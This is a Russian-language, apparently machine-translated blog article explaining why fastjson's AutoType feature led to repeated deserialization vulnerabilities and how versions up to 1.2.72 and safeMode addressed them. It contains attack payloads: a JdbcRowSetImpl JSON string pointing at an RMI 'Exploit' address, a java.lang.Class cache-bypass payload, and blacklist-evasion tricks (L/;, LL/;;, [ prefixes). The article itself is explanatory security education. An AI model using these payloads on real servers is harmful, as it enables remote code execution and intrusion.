Все должны быть знакомы с fastjson, библиотекой синтаксического анализа JSON с открытым исходным кодом от Alibaba, которая обычно используется для преобразования между Java Beans и строками JSON.
Некоторое время назад в fastjson много раз обнаруживались лазейки, во многих статьях сообщалось об этом инциденте и предлагались предложения по обновлению.
Но меня как разработчика больше волнует, почему он так часто подвергается уязвимостям? Поэтому я с сомнениями взглянул на ReleaseNote fastjson и некоторый исходный код.
В конце концов выяснилось, что это на самом деле связано с функцией AutoType в fastjson.
Начиная с версии 1.2.59, выпущенной в июле 2019 г., и заканчивая версией 1.2.71, выпущенной в июне 2020 г., в каждом обновлении версии есть обновления для AutoType.
Ниже приведены несколько важных обновлений AutoType в официальных примечаниях к выпуску fastjson:
Выпущена версия 1.2.59, повышена безопасность при включенном автотипе fastjson
Выпущен 1.2.60, добавлен черный список AutoType, исправлены проблемы безопасности отказа в обслуживании fastjson
Выпущена версия 1.2.61 с добавлением в черный список безопасности AutoType fastjson
Выпущена версия 1.2.62 с добавлением черного списка AutoType, улучшенной десериализацией даты и JSONPath fastjson.
Выпущена версия 1.2.66, исправления ошибок и усиление безопасности, а также усиление безопасности, дополнен черный список AutoType fastjson
Выпущена версия 1.2.67, исправлены ошибки и усилена безопасность, дополнен черный список AutoType fastjson
Выпущена версия 1.2.68, поддерживающая GEOJSON и дополняющая черный список AutoType. (Введена конфигурация safeMode.После настройки safeMode автотип не поддерживается независимо от белого или черного списка.) фастджсон
Выпущена версия 1.2.69, исправлена недавно обнаруженная уязвимость безопасности, связанная с обходом переключателя AutoType с высоким риском, и добавлен fastjson в черный список AutoType.
Выпуск 1.2.70, улучшенная совместимость, дополнение черного списка AutoType
Даже в библиотеке с открытым исходным кодом fastjson есть Issue, который рекомендует автору предоставить версию без autoType:
Итак, что такое автотайп? Почему fastjson представляет AutoType? Почему AutoType приводит к дырам в безопасности? В этой статье будет проведен подробный анализ.
Где священно AutoType?
Основная функция fastjson заключается в сериализации Java Bean-компонентов в строки JSON, чтобы строки можно было сохранять с помощью баз данных и других средств.
Однако fastjson не используется при сериализации и десериализации.Собственный механизм сериализации Java, а нестандартный механизм.
Фактически, для платформы JSON, если вы хотите преобразовать объект Java в строку, у вас есть два варианта:
- 1, на основе атрибутов
- 2. На основе сеттера/геттера
В нашей широко используемой среде сериализации JSON, когда FastJson и jackson сериализуют объекты в строки json, они обходят все методы получения в классе. Gson этого не делает, он проходит через рефлексию по всем свойствам в классе и сериализует их значения в json.
Предположим, у нас есть следующий класс Java:
class Store {
private String name;
private Fruit fruit;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Fruit getFruit() {
return fruit;
}
public void setFruit(Fruit fruit) {
this.fruit = fruit;
}
}
interface Fruit {
}
class Apple implements Fruit {
private BigDecimal price;
//省略 setter/getter、toString等
}
Когда мы захотим его сериализовать, fastjson просканирует в нем геттер-методы, то есть найдет getName и getFruit, а затем сериализует значения двух полей name и fruit в JSON-строку.
Итак, вопрос в том, что Fruit, который мы определили выше, — это просто интерфейс, может ли fastjson правильно сериализовать значение атрибута во время сериализации? Если да, то какой тип fastjson будет десериализовать этот фрукт при десериализации?
Попробуем проверить, исходя из (fastjson v 1.2.68):
Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);
Приведенный выше код относительно прост: мы создаем хранилище, указываем для него имя и создаем подтип Fruit, Apple, а затем используем хранилище для использованияJSON.toJSONString
Serialize, вы можете получить следующий контент JSON:
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
Итак, что это за фрукт и можно ли его десериализовать в Apple? Давайте снова выполним следующий код:
Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
Результат выполнения следующий:
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)
Видно, что после десериализации хранилища мы попытались преобразовать Fruit в Apple, но было выброшено исключение, попытка конвертировать напрямую во Fruit не выдаст ошибку, например:
Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);
Вышеупомянутое явление, как мы знаем,Когда класс содержит интерфейс (или абстрактный класс), при использовании fastjson для сериализации подтип будет стерт, а останется только тип интерфейса (абстрактный класс), чтобы его нельзя было получить при десериализации. .
Так какое же решение этой проблемы?Fastjson представляет AutoType, который записывает исходный тип во время сериализации.
Способ использования черезSerializerFeature.WriteClassName
отметка, т.е. в приведенном выше коде
String jsonString = JSON.toJSONString(store);
изменился на:
String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
Затем, приведенный выше код, результат вывода выглядит следующим образом:
System.out.println("toJSONString : " + jsonString);
{
"@type":"com.hollis.lab.fastjson.test.Store",
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
},
"name":"Hollis"
}
можно увидеть,использоватьSerializerFeature.WriteClassName
После токенизации в строке JSON есть еще один@type
Поле, помечающее исходный тип, соответствующий классу, что удобно для нахождения конкретного типа при десериализации
Как и выше, путем десериализации сериализованной строки вы можете успешно получить тип Apple и вывести содержимое целиком:
toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}
Это AutoType, и почему AutoType был представлен в fastjson.
Однако именно эта особенность, поскольку в начале проектирования функции соображения безопасности были недостаточно всеобъемлющими, а также приносила бесконечную боль последующим пользователям fastjson.
Что не так с автотипом?
Из-за функции autoType, когда fastjson десериализует строку JSON, она будет читать@type
Для содержимого попробуйте десериализовать содержимое JSON в этот объект и вызвать метод установки этого класса.
Затем вы можете использовать эту функцию для самостоятельного создания строки JSON и использовать@type
Укажите библиотеку атак, которую вы хотите использовать.
Например, наиболее часто используемая библиотека атак для хакеров:com.sun.rowset.JdbcRowSetImpl
, которая представляет собой библиотеку классов, официально предоставленную солнцем. DataSourceName этого класса поддерживает передачу источника rmi. При анализе этого uri он будет поддерживать удаленный вызов rmi и вызывать метод по указанному адресу rmi.
А fastjson вызовет сеттер-метод целевого класса при десериализации, поэтому, если хакер задаст команду для выполнения в dataSourceName JdbcRowSetImpl, это приведет к серьезным последствиям.
Если строка JSON указана следующим образом, может быть реализовано удаленное выполнение команды (в более ранней версии JdbcRowSetImpl занесен в черный список, в новой версии)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
Это так называемая уязвимость удаленного выполнения команд, которая заключается в использовании уязвимости для проникновения на целевой сервер и выполнения команд через сервер.
В более ранних версиях fastjson (до v1.2.25), поскольку AutoType был включен по умолчанию и не было никаких ограничений, можно сказать, что он голый.
Начиная с версии 1.2.25, fastjson по умолчанию отключил поддержку автотипа и добавил checkAutotype и черный список + белый список, чтобы предотвратить включение автотипа.
Однако именно с этого времени и началась игра между хакерами и авторами fastjson.
Поскольку fastjson по умолчанию отключает поддержку автотипа и выполняет проверку по черному и белому спискам, направление атаки становится «как обойти checkAutotype».
Рассмотрим подробнее уязвимости и принципы атаки в каждой версии fastjson.Из-за нехватки места здесь не будут объясняться особые детали.Если вам интересно, я могу написать отдельную статью, чтобы рассказать о деталях позже.. В следующем содержании в основном представлены некоторые идеи, цель которых состоит в том, чтобы объяснить важность уделения внимания безопасности при написании кода.
Обход проверки автотипа, хакеров и игры fastjson
До fastjson v1.2.41 в коде checkAutotype сначала фильтруется черный и белый список, если десериализуемого класса нет в черном и белом списке, то десериализуется целевой класс.
Однако в процессе загрузки у fastjson есть специальная обработка, то есть, когда класс загружается конкретно, то до и после className будут удалены.L
и;
,В формеLcom.lang.Thread;
.
Черный и белый список обнаруживается startWith, поэтому хакеру нужно только добавить библиотеку атаки до и после библиотеки атаки, которую он хочет использовать.L
и;
Можно обойти проверку черного и белого списка, не задерживая нормальную загрузку fastjson.
какLcom.sun.rowset.JdbcRowSetImpl;
, он сначала пройдет проверку белого списка, а затем fastjson удалит до и после загрузки классаL
и,变成了
com.sun.rowset.JdbcRowSetImpl`.
Чтобы избежать атаки, в более поздней версии v1.2.42 при выполнении обнаружения черного и белого списков fastjson сначала определяет, находится ли имя класса целевого класса до и после имени класса.L
и;
, если да, то обрезать перед и задL
и;
Затем проверьте черный и белый список.
Вроде решает проблему, но после того, как хакер обнаружил это правило, он дважды прописал до и после целевого класса при атакеLL
и;;
, чтобы обнаружение можно было обойти после перехвата. какLLcom.sun.rowset.JdbcRowSetImpl;;
Всегда есть люди, которые лучше тебя. В версии 1.2.43, на этот раз fastjson добавил новую опцию перед суждением о черном и белом списках.LL
Беспрецедентное суждение, если целевой класс начинается сLL
Вначале сразу выбрасывается исключение, поэтому эта уязвимость ненадолго устранена.
хакер вL
и;
Здесь он не может работать, поэтому я пытаюсь начать с других мест, потому что fastjson не только корректен при загрузке классовL
и;
К таким занятиям относятся особо, а также[
также обрабатываются по-особому.
Тот же метод атаки, добавьте перед целевым классом[
, опять падали все версии до v1.2.43.
Поэтому в версии v1.2.44 автор fastjson сделал более строгие требования, пока целевой класс начинается с[
начинается с или начинается с;
В конце сразу выбрасывается исключение. Он также устраняет ошибки, обнаруженные в версии 1.2.43 и предыдущих версиях.
В следующих версиях основным методом атаки хакеров является обход черного списка, и fastjson постоянно совершенствует собственный черный список.
Можно ли атаковать autoType, не включая его?
Но хорошие времена длились недолго, при обновлении до версии 1.2.47 хакеры снова нашли способ атаковать. И эта атака действует только при отключенном автотипе.
Не странно ли, что если автотайп не включен, то он будет атакован.
Поскольку ** в fastjson есть глобальный кеш, при загрузке класса, если автотип не включен, он сначала попытается получить класс из кеша, а если он есть в кеше, он вернется напрямую. **Хакеры используют этот механизм для атаки.
Хакеры сначала находят способ добавить класс в кеш, а затем снова запускают его, чтобы обойти обнаружение черного и белого списка, какой хитрый метод.
Прежде всего, если вы хотите добавить в кеш класс из черного списка, вам нужно использовать класс, которого нет в черном списке.java.lang.Class
java.lang.Class
Десериализатор, соответствующий классу, — MiscCodec.При десериализации берется значение val в строке json и загружается класс, соответствующий val.
Если кеш fastjson равен true, класс, соответствующий этому значению, будет кэширован в глобальном кеше.
Если класс с именем val загружается снова, а автотипирование не включено, следующим шагом будет попытка получить класс из глобального кеша, а затем атака.
Поэтому хакеру нужно только замаскировать класс атаки следующим образом, в следующем формате:
{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}
Так вот в v1.2.48 fastjson исправил эту ошибку, в MiscCodec, где обрабатывается класс Class, fastjson cache установлен в false, так что класс атаки не будет кешироваться и не будет получен.
В последующих версиях хакеры и fastjson продолжали заниматься обходом черного списка и добавлением черного списка.
Только позже хакеры обнаружили новый метод эксплойта в версиях до v1.2.68.
Атака с исключением
В fastjson, если класс, указанный @type, является подклассом Throwable, тогда соответствующий класс обработки десериализации будет использовать ThrowableDeserializer
В методе ThrowableDeserializer#deserialze, когда ключом поля также является @type, значение будет использоваться как имя класса, а затем будет выполнен тест checkAutoType.
и указал expectClass как Throwable.class, ноВ checkAutoType есть такое соглашение, что если указан expectClass, то он тоже пройдет проверку.
Потому что fastjson попытается выполнить метод геттера внутри при десериализации, а в классе Exception есть метод getMessage.
Хакеру нужно только настроить исключение и переписать его getMessage для достижения цели атаки.
Эта уязвимость является «серьезной уязвимостью», которая стала вирусной в Интернете в июне, вынудив многих разработчиков перейти на новую версию.
Эта уязвимость была исправлена в версии 1.2.69.Основной метод исправления заключается в изменении ожидаемого класса, который необходимо отфильтровать, добавлении 4 новых классов и изменении оценки исходного типа класса на оценку хэша.
На самом деле, согласно официальной документации fastjson, даже если не обновляться до новой версии, можно избежать этой проблемы в v1.2.68, то есть использовать safeMode
Безопасный режим автотипа?
Видно, что эксплуатация этих уязвимостей почти полностью связана с AutoType, поэтому в версии v1.2.68 вводится safeMode, после настройки safeMode автотип не поддерживается независимо от белого или черного списка, что можно в определенной степени облегчить , Вариант атаки класса Deserialization Gadgets.
После установки safeMode поле @type больше не действует, то есть при разборе строки JSON вида {"@type": "com.java.class"} соответствующий класс больше не будет десериализоваться.
Способ включения безопасного режима следующий:
ParserConfig.getGlobalInstance().setSafeMode(true);
Например, в примере кода в начале этой статьи используйте приведенный выше код для включения режима безопасного режима и выполнения кода, вы получите следующее исключение:
Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)
Но стоит отметить, что используя эту функцию, fastjson будет напрямую отключать функцию autoType, то есть в методе checkAutoType сразу выбрасывается исключение.
позже
В настоящее время fastjson выпущен в версии v1.2.72, а известные проблемы в исторической версии были исправлены в новой версии.
Разработчики могут обновить fastjson, используемый в своих проектах, до последней версии, а если AutoType в коде не нужен, они могут рассмотреть возможность использования safeMode, но они должны оценить влияние на исторический код.
так какfastjson определяет свой собственный класс инструментов сериализации и использует технологию asm, чтобы избежать отражения, использовать кэширование и оптимизировать алгоритмы, что значительно повышает эффективность сериализации и десериализации.
Некоторые пользователи сети сравнивали это раньше:
Конечно,Высокая скорость также приносит некоторые проблемы с безопасностью, что бесспорно.
Наконец, я действительно хочу сказать несколько слов.Хотя fastjson является открытым исходным кодом Alibaba, насколько мне известно, большую часть времени этот проект поддерживается его автором Шао Вэнем в свободное время.
Пользователь сети на Zhihu сказал: "Вэнь Шао создал широко используемую библиотеку JSON почти в одиночку, в то время как другие библиотеки полагаются почти на целую команду.Основываясь на этом, Вэнь Шао заслуженно считается «первым поколением людей с открытым исходным кодом в Али, которые никогда не изменяли своим первоначальным намерениям». .""
На самом деле, многие люди в Alibaba критиковали проблему уязвимости fastjson, но после критики все дали больше.пониматьитерпеть.
Fastjson в настоящее время является одной из самых известных отечественных библиотек.Можно сказать, что она привлекла большое внимание, поэтому постепенно стала центром исследований в области безопасности, поэтому будут обнаружены некоторые глубокие уязвимости. Как сказал сам Вэнь Шао:
«По сравнению с поиском уязвимостей, еще хуже то, что существуют уязвимости, которые, как известно, не используются. Своевременное обнаружение уязвимостей и обновление для исправления — это проявление возможностей безопасности».
Когда я писал эту статью, я задал Шао Вену вопрос на DingTalk, и он ответил за считанные секунды, что меня удивило. Поскольку этот день выходной, Диндин может вернуться в выходные в считанные секунды, что это значит?
Вероятно, он использует свое свободное время для поддержки fastjson...
Наконец, узнав причины многих уязвимостей в истории fastjson, фактически для себя, я «смею использовать» fastjson...
Слава fastjson! Привет исследователям безопасности! Приветствую Вэнь Шао!
Приветствую всех, кто обратил внимание на мой публичный аккаунт, и я буду регулярно продвигать этот вид галантерейных товаров! Вы даже не можете найти его в Baidu или Google! !
Использованная литература: